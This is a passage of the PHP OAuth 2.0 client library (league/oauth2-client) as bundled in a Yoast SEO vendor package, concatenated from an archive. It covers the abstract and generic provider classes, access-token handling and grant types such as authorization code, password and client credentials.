GuardedPropertyTrait; use QueryBuilderTrait; /** * @var string|null Key used in a token response to identify the resource owner. */ const ACCESS_TOKEN_RESOURCE_OWNER_ID = null; /** * @var string HTTP method used to fetch access tokens. */ const METHOD_GET = 'GET'; /** * @var string HTTP method used to fetch access tokens. */ const METHOD_POST = 'POST'; /** * @var string PKCE method used to fetch authorization token. * The PKCE code challenge will be hashed with sha256 (recommended). */ const PKCE_METHOD_S256 = 'S256'; /** * @var string PKCE method used to fetch authorization token. * The PKCE code challenge will be sent as plain text, this is NOT recommended. * Only use `plain` if no other option is possible. */ const PKCE_METHOD_PLAIN = 'plain'; /** * @var string */ protected $clientId; /** * @var string */ protected $clientSecret; /** * @var string */ protected $redirectUri; /** * @var string */ protected $state; /** * @var string|null */ protected $pkceCode = null; /** * @var GrantFactory */ protected $grantFactory; /** * @var RequestFactory */ protected $requestFactory; /** * @var HttpClientInterface */ protected $httpClient; /** * @var OptionProviderInterface */ protected $optionProvider; /** * Constructs an OAuth 2.0 service provider. * * @param array $options An array of options to set on this provider. * Options include `clientId`, `clientSecret`, `redirectUri`, and `state`. * Individual providers may introduce more options, as needed. * @param array $collaborators An array of collaborators that may be used to * override this provider's default behavior. Collaborators include * `grantFactory`, `requestFactory`, and `httpClient`. * Individual providers may introduce more collaborators, as needed. */ public function __construct(array $options = [], array $collaborators = []) { // We'll let the GuardedPropertyTrait handle mass assignment of incoming // options, skipping any blacklisted properties defined in the provider $this->fillProperties($options); if (empty($collaborators['grantFactory'])) { $collaborators['grantFactory'] = new \YoastSEO_Vendor\League\OAuth2\Client\Grant\GrantFactory(); } $this->setGrantFactory($collaborators['grantFactory']); if (empty($collaborators['requestFactory'])) { $collaborators['requestFactory'] = new \YoastSEO_Vendor\League\OAuth2\Client\Tool\RequestFactory(); } $this->setRequestFactory($collaborators['requestFactory']); if (empty($collaborators['httpClient'])) { $client_options = $this->getAllowedClientOptions($options); $collaborators['httpClient'] = new \YoastSEO_Vendor\GuzzleHttp\Client(\array_intersect_key($options, \array_flip($client_options))); } $this->setHttpClient($collaborators['httpClient']); if (empty($collaborators['optionProvider'])) { $collaborators['optionProvider'] = new \YoastSEO_Vendor\League\OAuth2\Client\OptionProvider\PostAuthOptionProvider(); } $this->setOptionProvider($collaborators['optionProvider']); } /** * Returns the list of options that can be passed to the HttpClient * * @param array $options An array of options to set on this provider. * Options include `clientId`, `clientSecret`, `redirectUri`, and `state`. * Individual providers may introduce more options, as needed. * @return array The options to pass to the HttpClient constructor */ protected function getAllowedClientOptions(array $options) { $client_options = ['timeout', 'proxy']; // Only allow turning off ssl verification if it's for a proxy if (!empty($options['proxy'])) { $client_options[] = 'verify'; } return $client_options; } /** * Sets the grant factory instance. * * @param GrantFactory $factory * @return self */ public function setGrantFactory(\YoastSEO_Vendor\League\OAuth2\Client\Grant\GrantFactory $factory) { $this->grantFactory = $factory; return $this; } /** * Returns the current grant factory instance. * * @return GrantFactory */ public function getGrantFactory() { return $this->grantFactory; } /** * Sets the request factory instance. * * @param RequestFactory $factory * @return self */ public function setRequestFactory(\YoastSEO_Vendor\League\OAuth2\Client\Tool\RequestFactory $factory) { $this->requestFactory = $factory; return $this; } /** * Returns the request factory instance. * * @return RequestFactory */ public function getRequestFactory() { return $this->requestFactory; } /** * Sets the HTTP client instance. * * @param HttpClientInterface $client * @return self */ public function setHttpClient(\YoastSEO_Vendor\GuzzleHttp\ClientInterface $client) { $this->httpClient = $client; return $this; } /** * Returns the HTTP client instance. * * @return HttpClientInterface */ public function getHttpClient() { return $this->httpClient; } /** * Sets the option provider instance. * * @param OptionProviderInterface $provider * @return self */ public function setOptionProvider(\YoastSEO_Vendor\League\OAuth2\Client\OptionProvider\OptionProviderInterface $provider) { $this->optionProvider = $provider; return $this; } /** * Returns the option provider instance. * * @return OptionProviderInterface */ public function getOptionProvider() { return $this->optionProvider; } /** * Returns the current value of the state parameter. * * This can be accessed by the redirect handler during authorization. * * @return string */ public function getState() { return $this->state; } /** * Set the value of the pkceCode parameter. * * When using PKCE this should be set before requesting an access token. * * @param string $pkceCode * @return self */ public function setPkceCode($pkceCode) { $this->pkceCode = $pkceCode; return $this; } /** * Returns the current value of the pkceCode parameter. * * This can be accessed by the redirect handler during authorization. * * @return string|null */ public function getPkceCode() { return $this->pkceCode; } /** * Returns the base URL for authorizing a client. * * Eg. https://oauth.service.com/authorize * * @return string */ public abstract function getBaseAuthorizationUrl(); /** * Returns the base URL for requesting an access token. * * Eg. https://oauth.service.com/token * * @param array $params * @return string */ public abstract function getBaseAccessTokenUrl(array $params); /** * Returns the URL for requesting the resource owner's details. * * @param AccessToken $token * @return string */ public abstract function getResourceOwnerDetailsUrl(\YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken $token); /** * Returns a new random string to use as the state parameter in an * authorization flow. * * @param int $length Length of the random string to be generated. * @return string */ protected function getRandomState($length = 32) { // Converting bytes to hex will always double length. Hence, we can reduce // the amount of bytes by half to produce the correct length. return \bin2hex(\random_bytes($length / 2)); } /** * Returns a new random string to use as PKCE code_verifier and * hashed as code_challenge parameters in an authorization flow. * Must be between 43 and 128 characters long. * * @param int $length Length of the random string to be generated. * @return string */ protected function getRandomPkceCode($length = 64) { return \substr(\strtr(\base64_encode(\random_bytes($length)), '+/', '-_'), 0, $length); } /** * Returns the default scopes used by this provider. * * This should only be the scopes that are required to request the details * of the resource owner, rather than all the available scopes. * * @return array */ protected abstract function getDefaultScopes(); /** * Returns the string that should be used to separate scopes when building * the URL for requesting an access token. * * @return string Scope separator, defaults to ',' */ protected function getScopeSeparator() { return ','; } /** * @return string|null */ protected function getPkceMethod() { return null; } /** * Returns authorization parameters based on provided options. * * @param array $options * @return array Authorization parameters */ protected function getAuthorizationParameters(array $options) { if (empty($options['state'])) { $options['state'] = $this->getRandomState(); } if (empty($options['scope'])) { $options['scope'] = $this->getDefaultScopes(); } $options += ['response_type' => 'code', 'approval_prompt' => 'auto']; if (\is_array($options['scope'])) { $separator = $this->getScopeSeparator(); $options['scope'] = \implode($separator, $options['scope']); } // Store the state as it may need to be accessed later on. $this->state = $options['state']; $pkceMethod = $this->getPkceMethod(); if (!empty($pkceMethod)) { $this->pkceCode = $this->getRandomPkceCode(); if ($pkceMethod === static::PKCE_METHOD_S256) { $options['code_challenge'] = \trim(\strtr(\base64_encode(\hash('sha256', $this->pkceCode, \true)), '+/', '-_'), '='); } elseif ($pkceMethod === static::PKCE_METHOD_PLAIN) { $options['code_challenge'] = $this->pkceCode; } else { throw new \InvalidArgumentException('Unknown PKCE method "' . $pkceMethod . '".'); } $options['code_challenge_method'] = $pkceMethod; } // Business code layer might set a different redirect_uri parameter // depending on the context, leave it as-is if (!isset($options['redirect_uri'])) { $options['redirect_uri'] = $this->redirectUri; } $options['client_id'] = $this->clientId; return $options; } /** * Builds the authorization URL's query string. * * @param array $params Query parameters * @return string Query string */ protected function getAuthorizationQuery(array $params) { return $this->buildQueryString($params); } /** * Builds the authorization URL. * * @param array $options * @return string Authorization URL */ public function getAuthorizationUrl(array $options = []) { $base = $this->getBaseAuthorizationUrl(); $params = $this->getAuthorizationParameters($options); $query = $this->getAuthorizationQuery($params); return $this->appendQuery($base, $query); } /** * Redirects the client for authorization. * * @param array $options * @param callable|null $redirectHandler * @return mixed */ public function authorize(array $options = [], callable $redirectHandler = null) { $url = $this->getAuthorizationUrl($options); if ($redirectHandler) { return $redirectHandler($url, $this); } // @codeCoverageIgnoreStart \header('Location: ' . $url); exit; // @codeCoverageIgnoreEnd } /** * Appends a query string to a URL. * * @param string $url The URL to append the query to * @param string $query The HTTP query string * @return string The resulting URL */ protected function appendQuery($url, $query) { $query = \trim($query, '?&'); if ($query) { $glue = \strstr($url, '?') === \false ? '?' : '&'; return $url . $glue . $query; } return $url; } /** * Returns the method to use when requesting an access token. * * @return string HTTP method */ protected function getAccessTokenMethod() { return self::METHOD_POST; } /** * Returns the key used in the access token response to identify the resource owner. * * @return string|null Resource owner identifier key */ protected function getAccessTokenResourceOwnerId() { return static::ACCESS_TOKEN_RESOURCE_OWNER_ID; } /** * Builds the access token URL's query string. * * @param array $params Query parameters * @return string Query string */ protected function getAccessTokenQuery(array $params) { return $this->buildQueryString($params); } /** * Checks that a provided grant is valid, or attempts to produce one if the * provided grant is a string. * * @param AbstractGrant|string $grant * @return AbstractGrant */ protected function verifyGrant($grant) { if (\is_string($grant)) { return $this->grantFactory->getGrant($grant); } $this->grantFactory->checkGrant($grant); return $grant; } /** * Returns the full URL to use when requesting an access token. * * @param array $params Query parameters * @return string */ protected function getAccessTokenUrl(array $params) { $url = $this->getBaseAccessTokenUrl($params); if ($this->getAccessTokenMethod() === self::METHOD_GET) { $query = $this->getAccessTokenQuery($params); return $this->appendQuery($url, $query); } return $url; } /** * Returns a prepared request for requesting an access token. * * @param array $params Query string parameters * @return RequestInterface */ protected function getAccessTokenRequest(array $params) { $method = $this->getAccessTokenMethod(); $url = $this->getAccessTokenUrl($params); $options = $this->optionProvider->getAccessTokenOptions($this->getAccessTokenMethod(), $params); return $this->getRequest($method, $url, $options); } /** * Requests an access token using a specified grant and option set. * * @param mixed $grant * @param array $options * @throws IdentityProviderException * @return AccessTokenInterface */ public function getAccessToken($grant, array $options = []) { $grant = $this->verifyGrant($grant); $params = ['client_id' => $this->clientId, 'client_secret' => $this->clientSecret, 'redirect_uri' => $this->redirectUri]; if (!empty($this->pkceCode)) { $params['code_verifier'] = $this->pkceCode; } $params = $grant->prepareRequestParameters($params, $options); $request = $this->getAccessTokenRequest($params); $response = $this->getParsedResponse($request); if (\false === \is_array($response)) { throw new \UnexpectedValueException('Invalid response received from Authorization Server. Expected JSON.'); } $prepared = $this->prepareAccessTokenResponse($response); $token = $this->createAccessToken($prepared, $grant); return $token; } /** * Returns a PSR-7 request instance that is not authenticated. * * @param string $method * @param string $url * @param array $options * @return RequestInterface */ public function getRequest($method, $url, array $options = []) { return $this->createRequest($method, $url, null, $options); } /** * Returns an authenticated PSR-7 request instance. * * @param string $method * @param string $url * @param AccessTokenInterface|string|null $token * @param array $options Any of "headers", "body", and "protocolVersion". * @return RequestInterface */ public function getAuthenticatedRequest($method, $url, $token, array $options = []) { return $this->createRequest($method, $url, $token, $options); } /** * Creates a PSR-7 request instance. * * @param string $method * @param string $url * @param AccessTokenInterface|string|null $token * @param array $options * @return RequestInterface */ protected function createRequest($method, $url, $token, array $options) { $defaults = ['headers' => $this->getHeaders($token)]; $options = \array_merge_recursive($defaults, $options); $factory = $this->getRequestFactory(); return $factory->getRequestWithOptions($method, $url, $options); } /** * Sends a request instance and returns a response instance. * * WARNING: This method does not attempt to catch exceptions caused by HTTP * errors! It is recommended to wrap this method in a try/catch block. * * @param RequestInterface $request * @return ResponseInterface */ public function getResponse(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request) { return $this->getHttpClient()->send($request); } /** * Sends a request and returns the parsed response. * * @param RequestInterface $request * @throws IdentityProviderException * @return mixed */ public function getParsedResponse(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request) { try { $response = $this->getResponse($request); } catch (\YoastSEO_Vendor\GuzzleHttp\Exception\BadResponseException $e) { $response = $e->getResponse(); } $parsed = $this->parseResponse($response); $this->checkResponse($response, $parsed); return $parsed; } /** * Attempts to parse a JSON response. * * @param string $content JSON content from response body * @return array Parsed JSON data * @throws UnexpectedValueException if the content could not be parsed */ protected function parseJson($content) { $content = \json_decode($content, \true); if (\json_last_error() !== \JSON_ERROR_NONE) { throw new \UnexpectedValueException(\sprintf("Failed to parse JSON response: %s", \json_last_error_msg())); } return $content; } /** * Returns the content type header of a response. * * @param ResponseInterface $response * @return string Semi-colon separated join of content-type headers. */ protected function getContentType(\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response) { return \join(';', (array) $response->getHeader('content-type')); } /** * Parses the response according to its content-type header. * * @throws UnexpectedValueException * @param ResponseInterface $response * @return array */ protected function parseResponse(\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response) { $content = (string) $response->getBody(); $type = $this->getContentType($response); if (\strpos($type, 'urlencoded') !== \false) { \parse_str($content, $parsed); return $parsed; } // Attempt to parse the string as JSON regardless of content type, // since some providers use non-standard content types. Only throw an // exception if the JSON could not be parsed when it was expected to. try { return $this->parseJson($content); } catch (\UnexpectedValueException $e) { if (\strpos($type, 'json') !== \false) { throw $e; } if ($response->getStatusCode() == 500) { throw new \UnexpectedValueException('An OAuth server error was encountered that did not contain a JSON body', 0, $e); } return $content; } } /** * Checks a provider response for errors. * * @throws IdentityProviderException * @param ResponseInterface $response * @param array|string $data Parsed response data * @return void */ protected abstract function checkResponse(\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response, $data); /** * Prepares an parsed access token response for a grant. * * Custom mapping of expiration, etc should be done here. Always call the * parent method when overloading this method. * * @param mixed $result * @return array */ protected function prepareAccessTokenResponse(array $result) { if ($this->getAccessTokenResourceOwnerId() !== null) { $result['resource_owner_id'] = $this->getValueByKey($result, $this->getAccessTokenResourceOwnerId()); } return $result; } /** * Creates an access token from a response. * * The grant that was used to fetch the response can be used to provide * additional context. * * @param array $response * @param AbstractGrant $grant * @return AccessTokenInterface */ protected function createAccessToken(array $response, \YoastSEO_Vendor\League\OAuth2\Client\Grant\AbstractGrant $grant) { return new \YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken($response); } /** * Generates a resource owner object from a successful resource owner * details request. * * @param array $response * @param AccessToken $token * @return ResourceOwnerInterface */ protected abstract function createResourceOwner(array $response, \YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken $token); /** * Requests and returns the resource owner of given access token. * * @param AccessToken $token * @return ResourceOwnerInterface */ public function getResourceOwner(\YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken $token) { $response = $this->fetchResourceOwnerDetails($token); return $this->createResourceOwner($response, $token); } /** * Requests resource owner details. * * @param AccessToken $token * @return mixed */ protected function fetchResourceOwnerDetails(\YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken $token) { $url = $this->getResourceOwnerDetailsUrl($token); $request = $this->getAuthenticatedRequest(self::METHOD_GET, $url, $token); $response = $this->getParsedResponse($request); if (\false === \is_array($response)) { throw new \UnexpectedValueException('Invalid response received from Authorization Server. Expected JSON.'); } return $response; } /** * Returns the default headers used by this provider. * * Typically this is used to set 'Accept' or 'Content-Type' headers. * * @return array */ protected function getDefaultHeaders() { return []; } /** * Returns the authorization headers used by this provider. * * Typically this is "Bearer" or "MAC". For more information see: * http://tools.ietf.org/html/rfc6749#section-7.1 * * No default is provided, providers must overload this method to activate * authorization headers. * * @param mixed|null $token Either a string or an access token instance * @return array */ protected function getAuthorizationHeaders($token = null) { return []; } /** * Returns all headers used by this provider for a request. * * The request will be authenticated if an access token is provided. * * @param mixed|null $token object or string * @return array */ public function getHeaders($token = null) { if ($token) { return \array_merge($this->getDefaultHeaders(), $this->getAuthorizationHeaders($token)); } return $this->getDefaultHeaders(); } } league/oauth2-client/src/Provider/GenericProvider.php000066600000013404151734252230016657 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Provider; use InvalidArgumentException; use YoastSEO_Vendor\League\OAuth2\Client\Provider\Exception\IdentityProviderException; use YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken; use YoastSEO_Vendor\League\OAuth2\Client\Tool\BearerAuthorizationTrait; use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface; /** * Represents a generic service provider that may be used to interact with any * OAuth 2.0 service provider, using Bearer token authentication. */ class GenericProvider extends \YoastSEO_Vendor\League\OAuth2\Client\Provider\AbstractProvider { use BearerAuthorizationTrait; /** * @var string */ private $urlAuthorize; /** * @var string */ private $urlAccessToken; /** * @var string */ private $urlResourceOwnerDetails; /** * @var string */ private $accessTokenMethod; /** * @var string */ private $accessTokenResourceOwnerId; /** * @var array|null */ private $scopes = null; /** * @var string */ private $scopeSeparator; /** * @var string */ private $responseError = 'error'; /** * @var string */ private $responseCode; /** * @var string */ private $responseResourceOwnerId = 'id'; /** * @var string|null */ private $pkceMethod = null; /** * @param array $options * @param array $collaborators */ public function __construct(array $options = [], array $collaborators = []) { $this->assertRequiredOptions($options); $possible = $this->getConfigurableOptions(); $configured = \array_intersect_key($options, \array_flip($possible)); foreach ($configured as $key => $value) { $this->{$key} = $value; } // Remove all options that are only used locally $options = \array_diff_key($options, $configured); parent::__construct($options, $collaborators); } /** * Returns all options that can be configured. * * @return array */ protected function getConfigurableOptions() { return \array_merge($this->getRequiredOptions(), ['accessTokenMethod', 'accessTokenResourceOwnerId', 'scopeSeparator', 'responseError', 'responseCode', 'responseResourceOwnerId', 'scopes', 'pkceMethod']); } /** * Returns all options that are required. * * @return array */ protected function getRequiredOptions() { return ['urlAuthorize', 'urlAccessToken', 'urlResourceOwnerDetails']; } /** * Verifies that all required options have been passed. * * @param array $options * @return void * @throws InvalidArgumentException */ private function assertRequiredOptions(array $options) { $missing = \array_diff_key(\array_flip($this->getRequiredOptions()), $options); if (!empty($missing)) { throw new \InvalidArgumentException('Required options not defined: ' . \implode(', ', \array_keys($missing))); } } /** * @inheritdoc */ public function getBaseAuthorizationUrl() { return $this->urlAuthorize; } /** * @inheritdoc */ public function getBaseAccessTokenUrl(array $params) { return $this->urlAccessToken; } /** * @inheritdoc */ public function getResourceOwnerDetailsUrl(\YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken $token) { return $this->urlResourceOwnerDetails; } /** * @inheritdoc */ public function getDefaultScopes() { return $this->scopes; } /** * @inheritdoc */ protected function getAccessTokenMethod() { return $this->accessTokenMethod ?: parent::getAccessTokenMethod(); } /** * @inheritdoc */ protected function getAccessTokenResourceOwnerId() { return $this->accessTokenResourceOwnerId ?: parent::getAccessTokenResourceOwnerId(); } /** * @inheritdoc */ protected function getScopeSeparator() { return $this->scopeSeparator ?: parent::getScopeSeparator(); } /** * @inheritdoc */ protected function getPkceMethod() { return $this->pkceMethod ?: parent::getPkceMethod(); } /** * @inheritdoc */ protected function checkResponse(\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response, $data) { if (!empty($data[$this->responseError])) { $error = $data[$this->responseError]; if (!\is_string($error)) { $error = \var_export($error, \true); } $code = $this->responseCode && !empty($data[$this->responseCode]) ? $data[$this->responseCode] : 0; if (!\is_int($code)) { $code = \intval($code); } throw new \YoastSEO_Vendor\League\OAuth2\Client\Provider\Exception\IdentityProviderException($error, $code, $data); } } /** * @inheritdoc */ protected function createResourceOwner(array $response, \YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken $token) { return new \YoastSEO_Vendor\League\OAuth2\Client\Provider\GenericResourceOwner($response, $this->responseResourceOwnerId); } } league/oauth2-client/src/Token/AccessToken.php000066600000013576151734252230015272 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Token; use InvalidArgumentException; use RuntimeException; /** * Represents an access token. * * @link http://tools.ietf.org/html/rfc6749#section-1.4 Access Token (RFC 6749, §1.4) */ class AccessToken implements \YoastSEO_Vendor\League\OAuth2\Client\Token\AccessTokenInterface, \YoastSEO_Vendor\League\OAuth2\Client\Token\ResourceOwnerAccessTokenInterface { /** * @var string */ protected $accessToken; /** * @var int */ protected $expires; /** * @var string */ protected $refreshToken; /** * @var string */ protected $resourceOwnerId; /** * @var array */ protected $values = []; /** * @var int */ private static $timeNow; /** * Set the time now. This should only be used for testing purposes. * * @param int $timeNow the time in seconds since epoch * @return void */ public static function setTimeNow($timeNow) { self::$timeNow = $timeNow; } /** * Reset the time now if it was set for test purposes. * * @return void */ public static function resetTimeNow() { self::$timeNow = null; } /** * @return int */ public function getTimeNow() { return self::$timeNow ? self::$timeNow : \time(); } /** * Constructs an access token. * * @param array $options An array of options returned by the service provider * in the access token request. The `access_token` option is required. * @throws InvalidArgumentException if `access_token` is not provided in `$options`. */ public function __construct(array $options = []) { if (empty($options['access_token'])) { throw new \InvalidArgumentException('Required option not passed: "access_token"'); } $this->accessToken = $options['access_token']; if (!empty($options['resource_owner_id'])) { $this->resourceOwnerId = $options['resource_owner_id']; } if (!empty($options['refresh_token'])) { $this->refreshToken = $options['refresh_token']; } // We need to know when the token expires. Show preference to // 'expires_in' since it is defined in RFC6749 Section 5.1. // Defer to 'expires' if it is provided instead. if (isset($options['expires_in'])) { if (!\is_numeric($options['expires_in'])) { throw new \InvalidArgumentException('expires_in value must be an integer'); } $this->expires = $options['expires_in'] != 0 ? $this->getTimeNow() + $options['expires_in'] : 0; } elseif (!empty($options['expires'])) { // Some providers supply the seconds until expiration rather than // the exact timestamp. Take a best guess at which we received. $expires = $options['expires']; if (!$this->isExpirationTimestamp($expires)) { $expires += $this->getTimeNow(); } $this->expires = $expires; } // Capture any additional values that might exist in the token but are // not part of the standard response. Vendors will sometimes pass // additional user data this way. $this->values = \array_diff_key($options, \array_flip(['access_token', 'resource_owner_id', 'refresh_token', 'expires_in', 'expires'])); } /** * Check if a value is an expiration timestamp or second value. * * @param integer $value * @return bool */ protected function isExpirationTimestamp($value) { // If the given value is larger than the original OAuth 2 draft date, // assume that it is meant to be a (possible expired) timestamp. $oauth2InceptionDate = 1349067600; // 2012-10-01 return $value > $oauth2InceptionDate; } /** * @inheritdoc */ public function getToken() { return $this->accessToken; } /** * @inheritdoc */ public function getRefreshToken() { return $this->refreshToken; } /** * @inheritdoc */ public function getExpires() { return $this->expires; } /** * @inheritdoc */ public function getResourceOwnerId() { return $this->resourceOwnerId; } /** * @inheritdoc */ public function hasExpired() { $expires = $this->getExpires(); if (empty($expires)) { throw new \RuntimeException('"expires" is not set on the token'); } return $expires < \time(); } /** * @inheritdoc */ public function getValues() { return $this->values; } /** * @inheritdoc */ public function __toString() { return (string) $this->getToken(); } /** * @inheritdoc */ public function jsonSerialize() { $parameters = $this->values; if ($this->accessToken) { $parameters['access_token'] = $this->accessToken; } if ($this->refreshToken) { $parameters['refresh_token'] = $this->refreshToken; } if ($this->expires) { $parameters['expires'] = $this->expires; } if ($this->resourceOwnerId) { $parameters['resource_owner_id'] = $this->resourceOwnerId; } return $parameters; } } league/oauth2-client/src/Token/ResourceOwnerAccessTokenInterface.php000066600000001510151734252230021617 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Token; interface ResourceOwnerAccessTokenInterface extends \YoastSEO_Vendor\League\OAuth2\Client\Token\AccessTokenInterface { /** * Returns the resource owner identifier, if defined. * * @return string|null */ public function getResourceOwnerId(); } league/oauth2-client/src/Token/AccessTokenInterface.php000066600000003464151734252230017106 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Token; use JsonSerializable; use ReturnTypeWillChange; use RuntimeException; interface AccessTokenInterface extends \JsonSerializable { /** * Returns the access token string of this instance. * * @return string */ public function getToken(); /** * Returns the refresh token, if defined. * * @return string|null */ public function getRefreshToken(); /** * Returns the expiration timestamp in seconds, if defined. * * @return integer|null */ public function getExpires(); /** * Checks if this token has expired. * * @return boolean true if the token has expired, false otherwise. * @throws RuntimeException if 'expires' is not set on the token. */ public function hasExpired(); /** * Returns additional vendor values stored in the token. * * @return array */ public function getValues(); /** * Returns a string representation of the access token * * @return string */ public function __toString(); /** * Returns an array of parameters to serialize when this is serialized with * json_encode(). * * @return array */ #[ReturnTypeWillChange] public function jsonSerialize(); } league/oauth2-client/src/Grant/AuthorizationCode.php000066600000002425151734252230016505 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Grant; /** * Represents an authorization code grant. * * @link http://tools.ietf.org/html/rfc6749#section-1.3.1 Authorization Code (RFC 6749, §1.3.1) */ class AuthorizationCode extends \YoastSEO_Vendor\League\OAuth2\Client\Grant\AbstractGrant { /** * @inheritdoc */ protected function getName() { return 'authorization_code'; } /** * @inheritdoc */ protected function getRequiredRequestParameters() { return ['code']; } } league/oauth2-client/src/Grant/Password.php000066600000002077151734252230014657 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Grant; /** * Represents a resource owner password credentials grant. * * @link http://tools.ietf.org/html/rfc6749#section-1.3.3 Resource Owner Password Credentials (RFC 6749, §1.3.3) */ class Password extends \YoastSEO_Vendor\League\OAuth2\Client\Grant\AbstractGrant { /** * @inheritdoc */ protected function getName() { return 'password'; } /** * @inheritdoc */ protected function getRequiredRequestParameters() { return ['username', 'password']; } } league/oauth2-client/src/Grant/ClientCredentials.php000066600000002032151734252230016440 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Grant; /** * Represents a client credentials grant. * * @link http://tools.ietf.org/html/rfc6749#section-1.3.4 Client Credentials (RFC 6749, §1.3.4) */ class ClientCredentials extends \YoastSEO_Vendor\League\OAuth2\Client\Grant\AbstractGrant { /** * @inheritdoc */ protected function getName() { return 'client_credentials'; } /** * @inheritdoc */ protected function getRequiredRequestParameters() { return []; } } league/oauth2-client/src/Grant/AbstractGrant.php000066600000004676151734252230015623 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Grant; use YoastSEO_Vendor\League\OAuth2\Client\Tool\RequiredParameterTrait; /** * Represents a type of authorization grant. * * An authorization grant is a credential representing the resource * owner's authorization (to access its protected resources) used by the * client to obtain an access token. OAuth 2.0 defines four * grant types -- authorization code, implicit, resource owner password * credentials, and client credentials -- as well as an extensibility * mechanism for defining additional types. * * @link http://tools.ietf.org/html/rfc6749#section-1.3 Authorization Grant (RFC 6749, §1.3) */ abstract class AbstractGrant { use RequiredParameterTrait; /** * Returns the name of this grant, eg. 'grant_name', which is used as the * grant type when encoding URL query parameters. * * @return string */ protected abstract function getName(); /** * Returns a list of all required request parameters. * * @return array */ protected abstract function getRequiredRequestParameters(); /** * Returns this grant's name as its string representation. This allows for * string interpolation when building URL query parameters. * * @return string */ public function __toString() { return $this->getName(); } /** * Prepares an access token request's parameters by checking that all * required parameters are set, then merging with any given defaults. * * @param array $defaults * @param array $options * @return array */ public function prepareRequestParameters(array $defaults, array $options) { $defaults['grant_type'] = $this->getName(); $required = $this->getRequiredRequestParameters(); $provided = \array_merge($defaults, $options); $this->checkRequiredParameters($required, $provided); return $provided; } } league/oauth2-client/src/Grant/GrantFactory.php000066600000010755151734252230015462 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Grant; use YoastSEO_Vendor\League\OAuth2\Client\Grant\Exception\InvalidGrantException; /** * Represents a factory used when retrieving an authorization grant type. */ class GrantFactory { /** * @var array */ protected $registry = []; /** * Defines a grant singleton in the registry. * * @param string $name * @param AbstractGrant $grant * @return self */ public function setGrant($name, \YoastSEO_Vendor\League\OAuth2\Client\Grant\AbstractGrant $grant) { $this->registry[$name] = $grant; return $this; } /** * Returns a grant singleton by name. * * If the grant has not be registered, a default grant will be loaded. * * @param string $name * @return AbstractGrant */ public function getGrant($name) { if (empty($this->registry[$name])) { $this->registerDefaultGrant($name); } return $this->registry[$name]; } /** * Registers a default grant singleton by name. * * @param string $name * @return self */ protected function registerDefaultGrant($name) { // PascalCase the grant. E.g: 'authorization_code' becomes 'AuthorizationCode' $class = \str_replace(' ', '', \ucwords(\str_replace(['-', '_'], ' ', $name))); $class = 'YoastSEO_Vendor\\League\\OAuth2\\Client\\Grant\\' . $class; $this->checkGrant($class); return $this->setGrant($name, new $class()); } /** * Determines if a variable is a valid grant. * * @param mixed $class * @return boolean */ public function isGrant($class) { return \is_subclass_of($class, \YoastSEO_Vendor\League\OAuth2\Client\Grant\AbstractGrant::class); } /** * Checks if a variable is a valid grant. * * @throws InvalidGrantException * @param mixed $class * @return void */ public function checkGrant($class) { if (!$this->isGrant($class)) { throw new \YoastSEO_Vendor\League\OAuth2\Client\Grant\Exception\InvalidGrantException(\sprintf('Grant "%s" must extend AbstractGrant', \is_object($class) ? \get_class($class) : $class)); } } } league/oauth2-client/src/Grant/Exception/InvalidGrantException.php000066600000001444151734252230021251 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace 